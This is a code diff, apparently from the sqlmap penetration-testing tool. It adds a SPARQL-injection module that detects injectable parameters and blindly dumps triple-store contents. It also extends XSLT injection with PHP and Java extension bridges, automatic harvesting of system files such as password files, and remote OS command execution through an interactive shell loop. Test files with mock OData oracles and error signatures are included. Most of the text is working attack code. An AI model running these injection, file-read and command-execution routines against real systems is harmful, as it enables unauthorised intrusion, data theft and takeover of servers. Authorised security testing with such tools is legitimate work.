"EXISTS { SELECT ?v WHERE { %s FILTER(%s) } }" % (inner, cmp) + + +def _cmpAtLeast(expr, n): + return "%s >= %d" % (expr, n) + + +def _cmpChar(pos, ordinal): + # lexicographic '>=' on a single character bisects the codepoint-ordered charset + return 'SUBSTR(STR(?v),%d,1) >= %s' % (pos, _literal(ordinal)) + + +# inner sub-patterns that bind ?v to something worth reading +_COUNT_TRIPLES = "{ SELECT (COUNT(*) AS ?v) WHERE {?s ?p ?o} }" +_COUNT_PREDICATES = "{ SELECT (COUNT(DISTINCT ?p) AS ?v) WHERE {?s ?p ?o} }" + + +def _nthPredicate(offset): + return ("{ SELECT DISTINCT ?p WHERE {?s ?p ?o} ORDER BY ?p LIMIT 1 OFFSET %d } " + "BIND(STR(?p) AS ?v)" % offset) + + +def _nthObject(offset): + return ("{ SELECT ?o WHERE {?s ?p ?o} ORDER BY STR(?o) LIMIT 1 OFFSET %d } " + "BIND(STR(?o) AS ?v)" % offset) + + +def _inferCount(truth, inner, maxCount): + """Recover the integer bound to ?v by `inner` (a COUNT sub-select), by binary search. Returns None + when the oracle stays inconclusive - a half-bisected count is a wrong number, not a small one, and + it would go on to drive the enumeration loops.""" + + try: + if not truth(_existsBind(inner, _cmpAtLeast("?v", 1))): + return 0 + lo, hi = 1, maxCount + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth(_existsBind(inner, _cmpAtLeast("?v", mid))): + lo = mid + else: + hi = mid - 1 + except InconclusiveError: + logger.warning("SPARQL count inference aborted (oracle inconclusive after retries)") + return None + return lo + + +def _inferString(truth, inner, maxLen=SPARQL_MAX_LENGTH): + """Blindly recover the string bound to ?v by `inner`: length by binary search, then each character by + bisecting its index in the codepoint-ordered charset.""" + + try: + if not truth(_existsBind(inner, _cmpAtLeast("STRLEN(STR(?v))", 1))): + return "" + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth(_existsBind(inner, _cmpAtLeast("STRLEN(STR(?v))", mid))): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + last = len(_CS_ORDS) - 1 + for pos in xrange(1, length + 1): + # is this character within the recoverable charset at all? + if not truth(_existsBind(inner, _cmpChar(pos, _CS_ORDS[0]))): + chars.append("?") + continue + clo, chi = 0, last + while clo < chi: + cmid = (clo + chi + 1) // 2 + if truth(_existsBind(inner, _cmpChar(pos, _CS_ORDS[cmid]))): + clo = cmid + else: + chi = cmid - 1 + chars.append(chr(_CS_ORDS[clo])) + except InconclusiveError: + logger.warning("SPARQL string inference aborted (oracle inconclusive after retries)") + return None + return "".join(chars) + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpGraph(truth): + """Schema-agnostic blind dump of the default graph: distinct predicates, then a sample of the triple + objects (see the module note on why objects rather than whole triples).""" + + predicates = _inferCount(truth, _COUNT_PREDICATES, SPARQL_MAX_PREDICATES) + triples = _inferCount(truth, _COUNT_TRIPLES, 10 ** 9) + if predicates is None or triples is None: + logger.warning("dump aborted: the oracle could not resolve the graph size; detection stands") + return + logger.info("default graph holds %d distinct predicate(s) and %d triple(s)" % (predicates, triples)) + + predRows = [] + for offset in xrange(min(predicates, SPARQL_MAX_PREDICATES)): + iri = _inferString(truth, _nthPredicate(offset)) + if iri is None: + break + predRows.append([offset + 1, iri]) + if predRows: + conf.dumper.singleString("SPARQL: distinct predicates in the default graph\n%s" + % _grid(["#", "predicate"], predRows)) + + limit = min(triples, SPARQL_MAX_RECORDS) + objRows = [] + for offset in xrange(limit): + value = _inferString(truth, _nthObject(offset)) + if value is None: + break + objRows.append([offset + 1, value]) + if objRows: + conf.dumper.singleString("SPARQL: objects in the default graph (first %d, ordered)\n%s" + % (len(objRows), _grid(["#", "object"], objRows))) + if triples > limit: + logger.info("dumped the first %d of %d triples (bounded); raise the cap to fetch more" % (limit, triples)) + + +def sparqlScan(): + global SENTINEL, NUMBER_SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + NUMBER_SENTINEL = randomStr(length=9, alphabet="123456789") + + debugMsg = "'--sparql' is self-contained: it detects SPARQL injection in HTTP parameters and blindly " + debugMsg += "dumps the reachable triple store. SQL enumeration switches (--banner, --dbs, --tables, " + debugMsg += "--users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + + for place in (_ for _ in SPARQL_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing SPARQL injection on %s parameter '%s'" % (place, parameter)) + + backendHint, _errorPage = _probeError(place, parameter) + if backendHint: + logger.info("%s parameter '%s' reaches a SPARQL parser (back-end: '%s')" % (place, parameter, backendHint)) + + template, payload, boundary = _detectBoolean(place, parameter) + if not template: + continue + + isSparql = _confirmSparql(place, parameter, boundary) or bool(backendHint) + if not isSparql: + logger.info("%s parameter '%s' shows a boolean differential but no SPARQL-only construct " + "confirmed it; not attributing to SPARQL (may be plain SQL injection)" + % (place, parameter)) + continue + + found += 1 + if conf.beep: + beep() + backend = backendHint or "Generic SPARQL" + logger.info("%s parameter '%s' is vulnerable to SPARQL injection (back-end: '%s')" + % (place, parameter, backend)) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: SPARQL injection\n" + " Title: SPARQL boolean-based blind\n Payload: %s=%s\n---" + % (parameter, place, parameter, payload)) + + oracle = _makeOracle(place, parameter, boundary) + if oracle is None: + logger.info("extraction disabled (true/false models not reliably separable); detection stands") + continue + + _dumpGraph(oracle) + + if not found: + if tested: + logger.warning("no parameter appears to be injectable via SPARQL injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for SPARQL injection") + + logger.info("SPARQL scan complete") diff --git a/lib/techniques/xslt/inject.py b/lib/techniques/xslt/inject.py index cc9ae9ba708..a745ebe78b2 100644 --- a/lib/techniques/xslt/inject.py +++ b/lib/techniques/xslt/inject.py @@ -26,8 +26,13 @@ carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself. -Deliberately reported but NOT exploited: PHP registerPHPFunctions(), EXSLT exsl:document (file WRITE) and -saxon:eval. Those are RCE / write primitives and sit outside what this switch is for. +Once an injection is confirmed in the ELEMENT slot, sqlmap also probes the processor's extension bridges +(PHP php:function, Xalan java:) - each confirmed by a deterministic self-check, never by the unreliable +function-available(). A confirmed read bridge gives arbitrary file read even on an XSLT 1.0 engine, where +document() only loads XML and unparsed-text() is unavailable, so it is used for the automatic harvest and +for '--file-read'. Command execution through a bridge runs only under '--os-cmd' / '--os-shell', exactly +like the SQL and SSTI takeover. File WRITE (EXSLT exsl:document) and saxon:eval are reported but never +driven - a write is destructive and belongs to '--file-write'. """ import re @@ -37,6 +42,7 @@ from lib.core.common import beep from lib.core.common import dataToOutFile from lib.core.common import randomStr +from lib.core.common import urldecode from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode @@ -50,9 +56,15 @@ from lib.core.settings import XSLT_MAX_HARVEST from lib.core.settings import XSLT_XML_HARVEST from lib.core.settings import XXE_FILE_HARVEST -from lib.core.settings import XSLT_RCE_PROBES +from lib.core.settings import XSLT_BRIDGES +from lib.core.settings import XSLT_BRIDGE_PHP +from lib.core.settings import XSLT_BRIDGE_JAVA +from lib.core.settings import XSLT_ADVISORY_PROBES from lib.core.settings import XSLT_VENDOR_PROPERTIES from lib.request.connect import Connect as Request +# NOT lib.core.common.urlencode: that one keeps '&', '=' and '%' safe by design, which is exactly what +# has to be escaped here. Imported under a distinct name because _quote() below is the XPath literal. +from thirdparty.six.moves.urllib.parse import quote as _urlquote SENTINEL = randomStr(length=10, lowercase=True) @@ -80,11 +92,13 @@ def _delim(place): def _originalValue(place, parameter): + # decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text + # and the untouched baseline probe reproduces exactly what the application originally received for pair in (conf.parameters.get(place) or "").split(_delim(place)): if '=' in pair: name, _, value = pair.partition('=') if name.strip() == parameter: - return value + return urldecode(value, convall=True) return None @@ -101,13 +115,18 @@ def _replaceSegment(place, parameter, value): def _send(place, parameter, value): """One request with the target parameter set to `value`, reusing sqlmap's request machinery so the - URL, cookies, headers, proxy and delay all behave exactly as in a normal run.""" + URL, cookies, headers, proxy and delay all behave exactly as in a normal run. + + The value is URL-encoded (as '--ssti' already does). A stylesheet payload is XML, so it legitimately + carries '&' - both as an XML entity (&/", see _attr) and inside a command or path - and a + raw '&' in a GET value is the parameter delimiter, which would split the request and deliver a + truncated stylesheet.""" if conf.delay: time.sleep(conf.delay) saved = conf.parameters.get(place, "") - conf.parameters[place] = _replaceSegment(place, parameter, value) + conf.parameters[place] = _replaceSegment(place, parameter, _urlquote(value, safe="")) try: if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) @@ -135,10 +154,26 @@ def _echoed(page, needle): return bool(page) and needle in getUnicode(page) +def _attr(expression): + """Escape an XPath expression for the XML ATTRIBUTE it is about to land in. + + Every slot ends up inside select="...", and XPath 1.0 has no escape character - so _quote() has to + fall back to double quotes for a value containing an apostrophe, and those quotes TERMINATE the + attribute. The stylesheet then fails to compile and the whole probe silently returns nothing: + '--os-cmd="echo \'hi\'"' reported "no output captured", and '--file-read' of a path holding an + apostrophe or an '&' failed against real libxslt while the same file at a plain path read fine. + + '>' is legal inside an attribute value and is left alone, so a shell redirect stays readable.""" + + return (getUnicode(expression).replace("&", "&") + .replace("<", "<") + .replace('"', """)) + + def _valuePayload(expression): """An XPath expression for the VALUE slot: the input already sits inside select="...", so only the expression itself is injected.""" - return expression + return _attr(expression) # Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a @@ -149,7 +184,7 @@ def _valuePayload(expression): def _elementPayload(expression): """A whole instruction for the ELEMENT slot. The stylesheet already binds the 'xsl' prefix (it could not be a stylesheet otherwise), so the instruction compiles in place.""" - return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, expression) + return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, _attr(expression)) _BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload)) @@ -311,9 +346,15 @@ def _probeCompile(place, parameter, baseline): return None, None, None -def _readFile(place, parameter, context, path, readers=("unparsed-text", "document")): - """T4: read a text file. document() parses its target as XML, so a non-XML file only surfaces through - unparsed-text() (XSLT 2.0+). Both are tried by default and whichever returns content wins.""" +def _readFile(place, parameter, context, path, readers=("unparsed-text", "document"), bridges=()): + """T4: read a file. A confirmed extension bridge (php:function / java:) is tried first because it + reaches ANY file on a 1.0 engine. Otherwise document() parses its target as XML, so a non-XML file + only surfaces through unparsed-text() (XSLT 2.0+). Whichever returns content wins.""" + + for bridge in bridges: + content = _bridgeRead(place, parameter, bridge, path) + if content and content.strip(): + return content, "%s bridge" % bridge[0].split(" ")[0].lower() build = dict(_BUILDERS)[context] uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/") @@ -347,25 +388,42 @@ def _dumpSourceDocument(place, parameter, context): return None -def _harvestFiles(place, parameter, context): +def _harvestFiles(place, parameter, context, bridges=()): """Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that '--file-read' exists to see impact. - Two reader primitives, because they cover different engines: unparsed-text() takes any text file but - needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) yet only loads well-formed - XML. Content is de-duplicated so an engine that resolves every missing path to the same stub cannot - masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST.""" + A confirmed bridge reads arbitrary text on any engine, so the plain-text targets (/etc/passwd etc.) + are harvested through it. Without one, the two portable readers cover different engines: unparsed-text() + takes any text file but needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) + yet only loads well-formed XML. Content is de-duplicated so an engine that resolves every missing path + to the same stub cannot masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST.""" harvested = [] seen = set() - for reader, paths in (("unparsed-text", XXE_FILE_HARVEST), ("document", XSLT_XML_HARVEST)): + read = set() + + # every confirmed bridge, not just the first: _readFile() already falls through all of them, and a + # bridge that fails on one path (permissions, a binary file) must not strand the rest of the harvest + plans = [(_, XXE_FILE_HARVEST) for _ in bridges] # arbitrary-text read on any engine + plans.append((None, XXE_FILE_HARVEST)) # unparsed-text() (XSLT 2.0+) + plans.append((None, XSLT_XML_HARVEST)) # document() (XSLT 1.0, XML only) + + for bridge, paths in plans: for path in paths: if len(harvested) >= XSLT_MAX_HARVEST: return harvested - content, how = _readFile(place, parameter, context, path, readers=(reader,)) + if path in read: + continue # a later plan must not re-probe what an earlier one already returned + if bridge is not None: + content = _bridgeRead(place, parameter, bridge, path) + how = "%s bridge" % bridge[0].split(" ")[0].lower() + else: + reader = "unparsed-text" if paths is XXE_FILE_HARVEST else "document" + content, how = _readFile(place, parameter, context, path, readers=(reader,)) if not (content and content.strip()): continue + read.add(path) key = content.strip() if key in seen: continue @@ -374,22 +432,95 @@ def _harvestFiles(place, parameter, context): return harvested -def _probeRce(place, parameter, context): - """Report - never invoke - the extension primitives that would turn this into code execution. Their - mere availability is the finding; exercising them is out of scope for this switch.""" +def _bridgeElementPayload(prefix, uri, expression): + """An that BINDS the extension namespace the bridge needs. Only the element slot can do + this - the value slot cannot introduce a namespace - so bridge exploitation is element-slot only. The + expression is sentinel-wrapped like every other probe, so an echo endpoint cannot forge the result.""" + return '<%s:value-of xmlns:%s="%s" select="%s"/>' % (_XSL_PREFIX, prefix, uri, _attr(_wrap(expression))) + + +def _confirmBridge(place, parameter, bridge): + """Confirm a bridge by EVALUATION, not by function-available() (which Xalan answers 'false' to while + the bridge works). The self-check transforms a per-run random input in a way the application cannot: + PHP reverses a marker, Xalan hex-encodes a random integer. The sentinel-split wrap defeats reflection, + and the transformed value defeats a lucky echo of the operand.""" + + _label, kind, prefix, uri, _readT, _execT = bridge + if kind == XSLT_BRIDGE_PHP: + marker = randomStr(length=8, lowercase=True) + expression = "php:function('strrev',%s)" % _quote(marker) + expected = marker[::-1] + elif kind == XSLT_BRIDGE_JAVA: + number = int(randomStr(length=6, alphabet="123456789")) + expression = "java:java.lang.Integer.toHexString(%d)" % number + expected = "%x" % number + else: + return False + payload = _bridgeElementPayload(prefix, uri, expression) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,64") + return captured is not None and captured.strip() == expected + + +def _detectBridges(place, parameter, context): + """The extension bridges confirmed working on this injection. Element slot only (a bridge needs its + namespace bound), so the value slot returns nothing.""" + + if context != CONTEXT_ELEMENT: + return [] + return [bridge for bridge in XSLT_BRIDGES if _confirmBridge(place, parameter, bridge)] + + +def _bridgeRead(place, parameter, bridge, path): + """Arbitrary file read through a confirmed bridge - unlike document() (XML only) and unparsed-text() + (XSLT 2.0+), this reaches any file the process can open, on a 1.0 engine.""" + + _label, _kind, prefix, uri, readT, _execT = bridge + expression = readT % _quote(getText(path)) + payload = _bridgeElementPayload(prefix, uri, expression) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH) + if captured and captured.strip(): + return captured[:XSLT_MAX_FILE_LENGTH] + return None + + +def _bridgeExec(place, parameter, bridge, command): + """Run one OS command through a confirmed exec bridge and return its captured stdout, or None. Only + reached under --os-cmd / --os-shell.""" + + _label, _kind, prefix, uri, _readT, execT = bridge + if not execT: + return None + payload = _bridgeElementPayload(prefix, uri, execT % _quote(getText(command))) + captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,%d" % XSLT_MAX_FILE_LENGTH) + return captured.rstrip("\n") if captured is not None else None + + +def _advisories(place, parameter, context): + """Report - never drive - the file-write / eval surfaces. Their availability is the finding: a write + is destructive ('--file-write' territory) and saxon:eval needs Saxon-PE/EE.""" build = dict(_BUILDERS)[context] retVal = [] - for label, expression in XSLT_RCE_PROBES: + for label, expression in XSLT_ADVISORY_PROBES: payload = build(_wrap(expression)) captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40") - # function-available() answers the STRING 'true'/'false', so a non-empty capture is not a hit - - # only an explicit true is. Reporting on non-empty would flag every engine as exploitable. + # the probe answers the STRING 'true'/'false', so only an explicit 'true' counts if captured is not None and captured.strip().lower() == "true": retVal.append(label) return retVal +def _osShell(execFn): + """Interactive OS-shell loop (runs under --batch like the SQL one). EOF / 'exit' / 'quit' leaves.""" + from lib.core.common import readInput + logger.info("calling XSLT OS shell. Enter commands or 'exit'/'quit' to leave") + while True: + command = readInput("os-shell> ", checkBatch=False) + if not command or command.strip().lower() in ("exit", "quit"): + break + execFn(command.strip()) + + def _dumpFileRead(remoteFile, content): try: localPath = dataToOutFile(remoteFile, getBytes(content)) @@ -470,20 +601,51 @@ def xsltScan(): if detail: extra.append("Proof: the engine computed %s" % detail) - rce = _probeRce(place, parameter, context) - if rce: - extra.append("Extensions available (NOT exercised): %s" % ", ".join(rce)) - logger.warning("the engine exposes %s - this injection can reach code execution; " - "'--xslt' reports it but does not use it" % ", ".join(rce)) + # Confirmed-by-evaluation extension bridges (php:function / java:). These are real read/exec + # primitives, not a function-available() guess, and reading a file through one is the same + # risk class as document() - which this engine already drives - so the read is automatic. + bridges = _detectBridges(place, parameter, context) + execBridge = next((_ for _ in bridges if _[5]), None) + if bridges: + extra.append("Extension bridges confirmed: %s" % ", ".join(_[0] for _ in bridges)) + + advisories = _advisories(place, parameter, context) + if advisories: + extra.append("Extensions available (NOT exercised): %s" % ", ".join(advisories)) _report(slot, title, extra) + wantsExec = any(conf.get(_) for _ in ("osCmd", "osShell")) + + # --os-cmd / --os-shell: command execution runs ONLY when explicitly asked, exactly like the + # SQL and SSTI takeover. Without an exec bridge sqlmap says so rather than pretending. + if wantsExec: + if execBridge is None: + # naming java: here was misleading: it IS an exec-capable namespace in general, but + # this engine drives it read-only on purpose (no stdout comes back), so a target + # with ONLY the java bridge confirmed was told to look for something it already had + readOnly = ", ".join(_[0] for _ in bridges if not _[5]) + errMsg = "OS command execution needs a confirmed exec bridge (php:function); " + errMsg += ("the '%s' bridge is read-only here" % readOnly) if readOnly else "none is available on this target" + logger.error(errMsg) + else: + if conf.get("osCmd"): + output = _bridgeExec(place, parameter, execBridge, conf.osCmd) + conf.dumper.singleString("XSLT os-cmd ('%s') via %s:\n%s" + % (conf.osCmd, execBridge[0], output if output is not None else "(no output captured)")) + if conf.get("osShell"): + _osShell(lambda command: conf.dumper.singleString( + "%s\n%s" % (command, _bridgeExec(place, parameter, execBridge, command) or "(no output captured)"))) + elif execBridge is not None: + logger.info("the '%s' bridge allows OS command execution; you are advised to try " + "'--os-shell' (interactive) or '--os-cmd=' (single command)" % execBridge[0]) + # A confirmed finding is exploited automatically, like every other non-SQL switch: whoever # reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An # explicit '--file-read' overrides the harvest and is honoured verbatim instead. if conf.fileRead: logger.info("reading file '%s' through the XSLT engine" % conf.fileRead) - content, how = _readFile(place, parameter, context, conf.fileRead) + content, how = _readFile(place, parameter, context, conf.fileRead, bridges=bridges) if content: logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content))) if how.startswith("string(document("): @@ -491,9 +653,9 @@ def xsltScan(): "CONTENT rather than its raw bytes") _dumpFileRead(conf.fileRead, content) else: - logger.warning("XSLT file read of '%s' failed. document() only reads well-formed XML, " - "and unparsed-text() needs an XSLT 2.0+ engine (this one reports '%s')" - % (conf.fileRead, vendor)) + logger.warning("XSLT file read of '%s' failed. Without an extension bridge, document() " + "only reads well-formed XML and unparsed-text() needs an XSLT 2.0+ engine " + "(this one reports '%s')" % (conf.fileRead, vendor)) else: source = _dumpSourceDocument(place, parameter, context) if source: @@ -501,13 +663,13 @@ def xsltScan(): conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source)) logger.info("harvesting reachable files through the XSLT engine") - harvested = _harvestFiles(place, parameter, context) + harvested = _harvestFiles(place, parameter, context, bridges=bridges) for path, content, how in harvested: logger.info("read '%s' via %s (%d characters)" % (path, how, len(content))) _dumpFileRead(path, content) if not harvested: - logger.info("no file could be read automatically (document() needs well-formed XML and " - "unparsed-text() needs an XSLT 2.0+ engine)") + logger.info("no file could be read automatically (a bridge reads any file, else " + "document() needs well-formed XML and unparsed-text() needs XSLT 2.0+)") if source or harvested: logger.info("use '--file-read' to target one specific file instead of this harvest") diff --git a/tests/test_heuristic_signatures.py b/tests/test_heuristic_signatures.py index f188f0925c5..6a8cc5d5394 100644 --- a/tests/test_heuristic_signatures.py +++ b/tests/test_heuristic_signatures.py @@ -40,6 +40,8 @@ from lib.core.settings import XPATH_ERROR_REGEX from lib.core.settings import XSLT_ERROR_REGEX from lib.core.settings import XXE_ERROR_REGEX +from lib.core.settings import SPARQL_ERROR_REGEX +from lib.core.settings import ODATA_ERROR_REGEX ENGINES = ( ("nosql", NOSQL_ERROR_REGEX), @@ -50,6 +52,8 @@ ("hql", HQL_ERROR_REGEX), ("xslt", XSLT_ERROR_REGEX), ("xxe", XXE_ERROR_REGEX), + ("sparql", SPARQL_ERROR_REGEX), + ("odata", ODATA_ERROR_REGEX), ) # (owning engine, back-end, verbatim error output). NOBODY means no engine may match it @@ -142,6 +146,19 @@ ("xslt", "libxslt (live)", "XSLT error StartTag: invalid element name, line 4, column 45 ( , line 4)"), ("xxe", "libxml2 (live)", "Parsed document; content: Parser warnings: failed to load \"file:///nonexistent\": No such file or directory"), + ("sparql", "Jena / Fuseki", "org.apache.jena.query.QueryParseException: Encountered \" \"?x\"\" at line 1"), + ("sparql", "Virtuoso", "Virtuoso 37000 Error SP030: SPARQL compiler, line 1: syntax error at '}'"), + ("sparql", "RDF4J / GraphDB", "org.eclipse.rdf4j.query.parser.sparql.ast.VisitorException: MalformedQueryException"), + ("sparql", "Stardog", "com.complexible.stardog.plan.eval.operator.OperatorException: parse error"), + # captured live off Apache Jena Fuseki with a broken-out string literal + ("sparql", "Jena (live)", "Parse error: Lexical error at line 1, column 136. Encountered: after prefix"), + + ("odata", "Microsoft OData", "The query specified in the URI is not valid. Syntax error at position 12 in 'Name eq'."), + ("odata", "Olingo (Java)", "org.apache.olingo.server.api.ODataApplicationException: The URI is malformed"), + # captured live off ASP.NET Core OData with a broken-out $filter string literal + ("odata", "Microsoft OData (live)", "The query specified in the URI is not valid. There is an unterminated string literal at position 17 in 'Name eq 'luther'''."), + ("odata", "Microsoft OData property (live)", "The query specified in the URI is not valid. Could not find a property named 'Xyz' on type 'Default.Product'."), + # a plain SQL injection error belongs to the SQL engine. No non-SQL switch may claim it (NOBODY, "MySQL", "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version"), (NOBODY, "Microsoft SQL Server", "Incorrect syntax near 'MERGE'."), diff --git a/tests/test_odata.py b/tests/test_odata.py new file mode 100644 index 00000000000..1e03411f4e3 --- /dev/null +++ b/tests/test_odata.py @@ -0,0 +1,343 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the OData '$filter' injection engine. A mock oracle mirrors the +boolean-blind semantics of a real OData service (a broken-out filter reduced to its injected predicate), +so detection, OData-only confirmation, version fingerprinting and per-entity blind extraction are +exercised without a live OData endpoint. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.odata.inject as odata +from lib.core.settings import ODATA_ERROR_REGEX + +_ENTITIES = ( + {"Id": 1, "Name": "luther", "Secret": "S3CR3Tvalue"}, + {"Id": 2, "Name": "fluffy", "Secret": "hunter2"}, + {"Id": 3, "Name": "wu", "Secret": "letmein"}, +) +_FIELDS = ("Id", "Name", "Secret") + + +def _wrapped(expr): + if not (expr.startswith("(") and expr.endswith(")")): + return False + depth = 0 + for i, ch in enumerate(expr): + depth += (ch == "(") - (ch == ")") + if depth == 0 and i < len(expr) - 1: + return False + return True + + +def _split(expr, sep): + parts, buf = [], [] + for token in expr.split(sep): + buf.append(token) + chunk = sep.join(buf) + if chunk.count("(") == chunk.count(")"): + parts.append(chunk) + buf = [] + if buf: + parts.append(sep.join(buf)) + return parts + + +class _ODErr(Exception): + pass + + +def _atom(e, a): + a = a.strip() + while _wrapped(a): + a = a[1:-1].strip() + m = re.match(r"^length\('([^']*)'\) eq (\d+)$", a) + if m: + return len(m.group(1)) == int(m.group(2)) + m = re.match(r"^startswith\('([^']*)','([^']*)'\)$", a) + if m: + return m.group(1).startswith(m.group(2)) + m = re.match(r"^contains\('([^']*)','([^']*)'\)$", a) + if m: + return m.group(2) in m.group(1) + if a.startswith("substringof("): + raise _ODErr("v4 has no substringof") + m = re.match(r"^'([^']*)' eq '([^']*)'$", a) + if m: + return m.group(1) == m.group(2) + m = re.match(r"^(\d+) eq (\d+)$", a) + if m: + return m.group(1) == m.group(2) + m = re.match(r"^(\w+) eq '([^']*)'$", a) + if m: + if m.group(1) not in _FIELDS: + raise _ODErr("unknown property") + return "%s" % e.get(m.group(1)) == m.group(2) + m = re.match(r"^(\w+) ne null$", a) + if m: + if m.group(1) not in _FIELDS: + raise _ODErr("unknown property") + return e.get(m.group(1)) is not None + m = re.match(r"^(\w+) (eq|ge|gt|le|lt) (-?\d+)$", a) + if m: + p, op, num = m.group(1), m.group(2), int(m.group(3)) + if p not in _FIELDS: + raise _ODErr("unknown property") + v = e.get(p) + if not isinstance(v, int): + return False + return {"eq": v == num, "ge": v >= num, "gt": v > num, "le": v <= num, "lt": v < num}[op] + m = re.match(r"^length\((\w+)\) (eq|ge) (\d+)$", a) + if m: + p, op, num = m.group(1), m.group(2), int(m.group(3)) + if p not in _FIELDS: + raise _ODErr("unknown property") + n = len("%s" % e.get(p, "")) + return n == num if op == "eq" else n >= num + # an inner single quote arrives DOUBLED, the way the OData spec escapes it + m = re.match(r"^substring\((\w+),(\d+),1\) eq '(''|.)'$", a) + if m: + p, pos, ch = m.group(1), int(m.group(2)), m.group(3) + ch = "'" if ch == "''" else ch + if p not in _FIELDS: + raise _ODErr("unknown property") + t = "%s" % e.get(p, "") + return pos < len(t) and t[pos] == ch + raise _ODErr("syntax error") + + +def _eval(e, expr): + expr = expr.strip() + while _wrapped(expr): + expr = expr[1:-1].strip() + ors = _split(expr, " or ") + if len(ors) > 1: + return any(_eval(e, o) for o in ors) + ands = _split(expr, " and ") + if len(ands) > 1: + return all(_eval(e, a) for a in ands) + return _atom(e, expr) + + +_EMPTY = "
      " + + +def _render(matched): + return "
        %s
      " % "".join("
    • %s: %s
    • " % (e["Id"], e["Name"]) for e in matched) + + +def _mockSend(place, parameter, value, raw=False): + expr = "Name eq '%s'" % value + if expr.count("'") % 2: + return "
      The query specified in the URI is not valid. There is an unterminated string literal at position 8
      " if raw else None + try: + matched = [e for e in _ENTITIES if _eval(e, expr)] + except _ODErr: + return "
      Could not find a property named 'x' on type 'Default.Product'. Microsoft.OData
      " if raw else None + return _render(matched) + + +class TestHelpers(unittest.TestCase): + def test_is_error_and_backend(self): + self.assertTrue(odata._isError("The query specified in the URI is not valid. Microsoft.OData")) + self.assertFalse(odata._isError(_EMPTY)) + self.assertEqual(odata._backendFromError("Could not find a property named 'X'"), "Microsoft OData (WebAPI/.NET)") + + def test_error_regex_matches_real(self): + self.assertIsNotNone(re.search(ODATA_ERROR_REGEX, "There is an unterminated string literal at position 17 in 'Name eq'")) + + +class TestNoAmpersandInvariant(unittest.TestCase): + """A raw '&' in a GET value is the parameter delimiter; OData uses the 'or'/'and' keywords, so no + payload may carry one.""" + + def test_boundaries_and_predicates_have_no_ampersand(self): + for row in odata._BOUNDARY_TABLE: + for field in row: + self.assertNotIn("&", field) + for t, f in odata._ODATA_PREDICATES: + self.assertNotIn("&", t) + self.assertNotIn("&", f) + + def test_send_url_encodes_the_payload(self): + """The boundaries being '&'-free was never enough: the character scan emits '&' (and '+') as + DATA. _send() must URL-encode, or those probes split the request, the truncated $filter 400s, + and the resulting InconclusiveError aborts the WHOLE property (it dumped as '?').""" + sent = [] + savedParams, odata.conf.parameters = odata.conf.parameters, {odata.PLACE.GET: "name=luther"} + savedGet = odata.Request.getPage + odata.Request.getPage = staticmethod( + lambda **kwargs: (sent.append(odata.conf.parameters[odata.PLACE.GET]), "", None, 200)[1:]) + try: + odata._send(odata.PLACE.GET, "name", odata._literal(ord("&"))) + finally: + odata.Request.getPage = savedGet + odata.conf.parameters = savedParams + self.assertEqual(len(sent), 1) + self.assertNotIn("&", sent[0].split("=", 1)[1], sent[0]) + self.assertIn("%26", sent[0]) + + +class TestCharsetCoverage(unittest.TestCase): + """The scan is EXACT equality, not a bisection, so the ORDER is free but the COVERAGE is not: an + excluded codepoint is simply never recoverable. The one character an OData literal cannot carry + raw, the single quote, is doubled per the spec rather than dropped. + + (This replaces an earlier assertion pinning 0x27/0x5c as EXCLUDED, which cost coverage of two + characters common in real names and paths for no correctness gain.)""" + + def test_charset_covers_every_printable(self): + self.assertEqual(sorted(odata._CS_ORDS), + list(range(odata.ODATA_CHAR_MIN, odata.ODATA_CHAR_MAX + 1))) + + def test_quote_is_doubled(self): + self.assertEqual(odata._literal(0x27), "''''") + 